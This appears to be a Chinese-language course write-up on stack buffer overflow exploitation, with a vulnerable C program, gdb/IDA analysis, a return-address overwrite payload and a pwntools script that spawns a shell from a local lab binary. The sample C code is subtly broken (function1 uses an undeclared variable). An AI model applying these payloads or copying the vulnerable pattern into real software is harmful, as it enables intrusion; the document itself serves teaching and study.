概述

stack-frames

软件漏洞分析课程的一次作业,利用了栈内存的缓冲区溢出,覆盖了返回地址,从而达到劫持控制流的目的。如果希望能具体了解一下图中 c 函数调用的实现,可以看一下 B 站上陈渝教授的这个视频。

EXP1

#include <stdio.h>
#include <string.h>

void function2()
{
  printf("Executed chagned\n");
}

void function1()
{
  char buffer[5];
  strcpy(buffer,str);
}

void main(int argc, char *argv[])
{
  function1(argv[1]);
  printf("Executed normally\n");
}

使用gdb进行调试,strcpy函数可以被利用引起缓冲区溢出,目前的问题时需要多长的字符串,以及需要将function1栈帧的返回地址覆盖为什么

环境

ubuntu 16.04

gcc 5.4.0

gdb 7.11.1

arch

关闭堆栈保护机制,使用gcc编译

gcc -g main.c -m32 -o main32 -z execstack -fno-stack-protector

gdb

可以得出ebp&buffer相距 13 个字节,同时返回地址占用 4 个字节,function2的地址为0x0804845B。由于采用的是小端存储,因此需要将目标函数地址按字节倒序写入。构造出 payloadAAAAAAAAAAAAAAAAA\x5B\x84\x04\x08

stack-overflow-result

成功调用了function2,同理地址也可以被改成其他的函数地址。

EXP2

已知一个二进制文件,通过 ida 静态调试。

ida

vulnerable_function 中的 buffer 只需要 1 个字节,但是第五行的 read 函数可以输入 256 个字节,这里可能存在着栈溢出。根据第三行的注释推测,&buffer距离ebp位 0x30 个字节,猜测我们需要构造的 payload 为 52 字节的字符串再加上目标函数的地址,即backdoor函数的地址。

from pwn import *
p=process("./stack");

ret_addr=0x0804846B

payload = "a"*52+p32(ret_addr)

p.sendline(payload)
p.interactive()
p.close()

EXP2-RESULT

成功拿到 shell